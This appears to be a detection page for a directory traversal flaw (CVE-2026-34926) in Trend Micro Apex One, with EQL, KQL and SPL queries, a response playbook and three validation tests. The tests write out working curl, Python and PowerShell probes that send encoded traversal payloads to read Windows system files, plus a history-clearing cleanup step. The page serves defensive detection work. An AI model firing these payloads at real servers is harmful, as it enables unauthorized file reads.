Detect Trend Micro Apex One Directory Traversal Exploitation (CVE-2026-34926) in Elastic Security
Detects exploitation attempts targeting CVE-2026-34926, a directory traversal vulnerability (CWE-23) in Trend Micro Apex One (On-Premise). This KEV-listed vulnerability allows unauthenticated or low-privileged attackers to traverse directory boundaries via crafted HTTP requests to the Apex One management server, potentially enabling arbitrary file read or write operations. Active exploitation has been observed in the wild.
MITRE ATT&CK
Elastic Detection Query
sequence by source.ip with maxspan=5m
[network where event.category == "network" and
url.path : ("*/officescan/*", "*/OfficeScan/*", "*/apex_one/*", "*/widget/*", "*/ServerMigration/*") and
(
url.path : ("*..%2F*", "*..%5C*", "*%2e%2e%2f*", "*%252e*", "*....%2F*") or
url.original : ("*../..*/", "*..%2F..%2F*")
)
] with runs=2EQL sequence detection for repeated directory traversal attempts against Apex One endpoints from the same source IP within 5 minutes, indicating active exploitation attempts.
Data Sources
Required Tables
False Positives & Tuning
- Security testing tools generating multiple traversal patterns during authorized assessments
- Misconfigured reverse proxies that double-encode URL paths before forwarding to Apex One
- Monitoring agents that perform repeated health checks with non-standard URL encoding
Other platforms for CVE-2026-34926
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Basic Directory Traversal Probe Against Apex One CGI Endpoint
Expected signal: IIS access log entry with traversal sequence in cs-uri-query field, HTTP response code indicating success (200) or path not found (404). Network connection event from test host to Apex One server on port 4343.
- Test 2Double-Encoded Traversal Bypass Attempt
Expected signal: Multiple IIS access log entries with different traversal encoding variants. Possible WAF alert if WAF is deployed. Network events showing rapid sequential HTTP requests to Apex One from the same source IP.
- Test 3Windows Apex One Traversal Simulation via PowerShell
Expected signal: Windows Security Event Log entry for PowerShell execution (Event ID 4688 or Sysmon Event ID 1). Network connection events from the Windows test host to Apex One server port 4343. IIS access log entries on Apex One server matching traversal patterns.
Response Playbook
Triage
- Verify the targeted host is running Trend Micro Apex One On-Premise. Check for the OfficeScan or Apex One service processes (ntrtscan.exe, tmlisten.exe, ds_agent.exe) and confirm the management server port (typically 4343/TCP or 8080/TCP).
- Examine the full HTTP request logs for the traversal sequence: extract the decoded URI path and determine which file the attacker was attempting to access or write. Path segments like ../../../../Windows/System32 or ../../../../etc/passwd indicate the traversal depth and target.
- Determine if the traversal resulted in a successful file read (HTTP 200 response) or write operation. A 200 response to a traversal URI is a confirmed exploitation indicator and requires immediate escalation.
- Check Apex One server logs at the default installation path (C:\Program Files (x86)\Trend Micro\Apex One\PCCSRV\Log\) for corresponding server-side error messages or access entries matching the traversal timestamp.
- Correlate the source IP against threat intelligence. Known-bad IPs or ASNs associated with APT infrastructure or mass-exploitation campaigns significantly increase severity.
Containment
- If exploitation is confirmed or strongly suspected, immediately isolate the Apex One server from the network using firewall rules or host-based isolation. Apply emergency ACLs to block inbound access to Apex One management ports (default: 4343, 8080) from all sources except known management subnets.
- Apply Trend Micro's vendor-supplied patch or mitigation per advisory KA-0023430 immediately. If the patch cannot be applied immediately, implement a WAF rule to block requests containing traversal sequences ('../', encoded variants) to Apex One URI paths as a temporary compensating control.
- Rotate all credentials and API tokens that may have been exposed via the traversal. This includes Apex One admin credentials, any secrets stored in Apex One configuration files, and certificates in the Apex One installation directory.
Evidence Collection
- Collect and preserve IIS/web server access logs from the Apex One server covering the 48-hour window around the first detected traversal attempt. Archive these to a secure, write-once location before any patching or remediation that might rotate logs.
- Capture a memory image of the Apex One server process (ntrtscan.exe, tmlisten.exe) and a full disk image of the server if active compromise is suspected. Preserve this before applying patches or rebooting, as in-memory artifacts from post-exploitation activity will be lost.
- Export Windows Security Event logs (Event IDs 4624, 4625, 4648, 4672, 4688) and Sysmon logs from the Apex One server for the exploitation timeframe to identify any post-exploitation lateral movement or privilege escalation.
Escalation Criteria
- !Escalate immediately to Incident Response if the HTTP response code for any traversal request is 200 (successful file read/write confirmed), if files outside the Apex One installation directory are referenced in traversal paths, or if any new administrative accounts or scheduled tasks are discovered post-exploitation.
- !Escalate to Threat Intelligence if the source IP is associated with known nation-state actors or if multiple Apex One servers across the environment are targeted simultaneously, indicating coordinated exploitation of this KEV-listed vulnerability.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
IIS access logs at C:\inetpub\logs\LogFiles\ on the Apex One server — look for traversal sequences in cs-uri-stem and cs-uri-query fields - >
Apex One server logs at C:\Program Files (x86)\Trend Micro\Apex One\PCCSRV\Log\ — ofcscan.ini and server event logs will record management server access - >
Windows Application and System Event Logs on the Apex One server for service crashes, errors, or unexpected file access patterns coinciding with traversal timestamps - >
Prefetch files and Shimcache entries for any new executables or scripts that appeared on the Apex One server after the exploitation window, indicating post-exploitation payload execution - >
File system timestamps (MFT entries) for files in the Apex One PCCSRV directory — look for unexpected new files or modifications to configuration files matching the exploitation timestamp
Tuning Guidance
Begin with a 14-day lookback period. Reduce false positives by creating an allowlist of known vulnerability scanner source IPs (Qualys, Tenable, Rapid7 cloud connectors) and applying it as an exclusion filter. Tune the traversal depth threshold based on observed baseline traffic — internal Apex One management API calls may use encoded characters but typically do not chain multiple '../' sequences. If the Apex One server sits behind a WAF or reverse proxy, ensure log sources capture the original client IP (X-Forwarded-For) rather than the proxy IP to prevent alert suppression. Consider lowering confidence to 'medium' in environments where automated security tooling routinely generates traversal-like patterns in URLs.
Hunting Queries
Hunt for Apex One server processes writing files outside their expected installation directory, which may indicate successful exploitation via directory traversal enabling file write operations or web shell deployment.
DeviceFileEvents
| where TimeGenerated > ago(14d)
| where DeviceName has_any ("apex", "officescan", "tmoas")
| where FolderPath !startswith @"C:\Program Files (x86)\Trend Micro"
| where InitiatingProcessFileName in~ ("ntrtscan.exe", "tmlisten.exe", "cgiChkMasterPwd.exe", "cgiABLogon.exe", "ofcservice.exe")
| project TimeGenerated, DeviceName, FileName, FolderPath, InitiatingProcessFileName, InitiatingProcessCommandLine
| order by TimeGenerated descindex=windows sourcetype=XmlWinEventLog:Security OR sourcetype=sysmon EventCode=11
| where process IN ("ntrtscan.exe", "tmlisten.exe", "cgiChkMasterPwd.exe", "cgiABLogon.exe", "ofcservice.exe")
| where NOT (TargetFilename LIKE "C:\\Program Files (x86)\\Trend Micro\\%" OR TargetFilename LIKE "C:\\Windows\\Temp\\%")
| stats count AS file_events, values(TargetFilename) AS files_written BY ComputerName, process
| where file_events >= 1
| sort -file_eventsHunt for unexpected outbound network connections from Apex One server processes to non-standard ports, which may indicate post-exploitation C2 beacon or data exfiltration activity following successful traversal.
DeviceNetworkEvents
| where TimeGenerated > ago(14d)
| where InitiatingProcessFileName in~ ("ntrtscan.exe", "tmlisten.exe", "ofcservice.exe", "cgiABLogon.exe")
| where RemotePort !in (80, 443, 4343, 8080, 8443)
| where ActionType == "ConnectionSuccess"
| project TimeGenerated, DeviceName, InitiatingProcessFileName, RemoteIP, RemotePort, RemoteUrl
| order by TimeGenerated descindex=windows sourcetype=sysmon EventCode=3
| where process IN ("ntrtscan.exe", "tmlisten.exe", "ofcservice.exe")
| where NOT (dest_port IN (80, 443, 4343, 8080, 8443))
| stats count BY ComputerName, process, dest_ip, dest_port
| sort -countAtomic Red Team Tests
Sends a crafted HTTP GET request with a URL-encoded directory traversal sequence to the Apex One management server CGI endpoint to test for path traversal vulnerability. Targets the cgiABLogon.exe endpoint which has historically been vulnerable to traversal in Apex One.
Command
curl -v -k 'https://APEX_ONE_SERVER:4343/officescan/console/cgi-bin/cgiABLogon.exe?..%2F..%2F..%2F..%2FWindows%2Fsystem.ini' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' --max-time 10Cleanup
No cleanup required — this is a read-only probe. Review and delete any access log entries generated on the test Apex One server.Expected Telemetry
IIS access log entry with traversal sequence in cs-uri-query field, HTTP response code indicating success (200) or path not found (404). Network connection event from test host to Apex One server on port 4343.
Expected Detection
Alert triggered on KQL/SPL query matching traversal sequence '..%2F' in URL path combined with '/officescan/' path component.
Tests double-encoding of directory traversal characters (%252F instead of %2F) to attempt WAF bypass and reach files outside the Apex One web root. This variant tests whether the detection logic catches encoded-encoded traversal sequences.
Command
python3 -c "
import urllib.request, ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
payloads = [
'..%252F..%252F..%252FWindows%252Fsystem32%252Fdrivers%252Fetc%252Fhosts',
'%2e%2e%2f%2e%2e%2f%2e%2e%2fWindows%2Fsystem.ini',
'....%2F....%2FWindows%2Fwin.ini'
]
for p in payloads:
url = f'https://APEX_ONE_SERVER:4343/officescan/console/cgi-bin/cgiABLogon.exe?{p}'
try:
req = urllib.request.urlopen(url, context=ctx, timeout=5)
print(f'[+] {p[:40]} -> {req.status}')
except Exception as e:
print(f'[-] {p[:40]} -> {e}')
"Cleanup
No filesystem changes on the attacking host. Clear test entries from IIS logs on the lab Apex One server after test completion.Expected Telemetry
Multiple IIS access log entries with different traversal encoding variants. Possible WAF alert if WAF is deployed. Network events showing rapid sequential HTTP requests to Apex One from the same source IP.
Expected Detection
Alert triggered by double-encoded traversal pattern '%252e' or '%252F' in URL combined with Apex One path. Sequence detection (EQL, Chronicle YARA-L) should fire on multiple rapid attempts from same IP.
Simulates an attacker on a Windows host performing directory traversal exploitation against Apex One, testing for successful file read of sensitive configuration files. Targets the Apex One widget endpoint which may expose additional attack surface.
Command
$apexServer = 'APEX_ONE_SERVER'
$port = 4343
$traversalPayloads = @(
'/officescan/console/widget/widgetMeta.php?modulepath=../../../../../../Windows/system32/drivers/etc/hosts',
'/officescan/console/cgi-bin/cgiServerMigration.exe?..%2F..%2F..%2F..%2FWindows%2Fwin.ini',
'/apex_one/console/cgi-bin/cgiABLogon.exe?..%2F..%2F..%2F..%2FWindows%2Fsystem.ini'
)
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
$session.UserAgent = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'
foreach ($path in $traversalPayloads) {
try {
$response = Invoke-WebRequest -Uri "https://${apexServer}:${port}${path}" -WebSession $session -SkipCertificateCheck -TimeoutSec 5 -ErrorAction SilentlyContinue
Write-Host "[+] $path -> $($response.StatusCode) (Length: $($response.Content.Length))"
} catch {
Write-Host "[-] $path -> $($_.Exception.Message.Split(':')[0])"
}
}Cleanup
No persistent changes. Delete PowerShell command history with: Clear-History; Remove-Item (Get-PSReadlineOption).HistorySavePath -ForceExpected Telemetry
Windows Security Event Log entry for PowerShell execution (Event ID 4688 or Sysmon Event ID 1). Network connection events from the Windows test host to Apex One server port 4343. IIS access log entries on Apex One server matching traversal patterns.
Expected Detection
KQL DeviceNetworkEvents detection for traversal patterns in HTTP requests. SPL detection for access log entries with encoded traversal sequences in '/officescan/', '/apex_one/', or '/widget/' paths.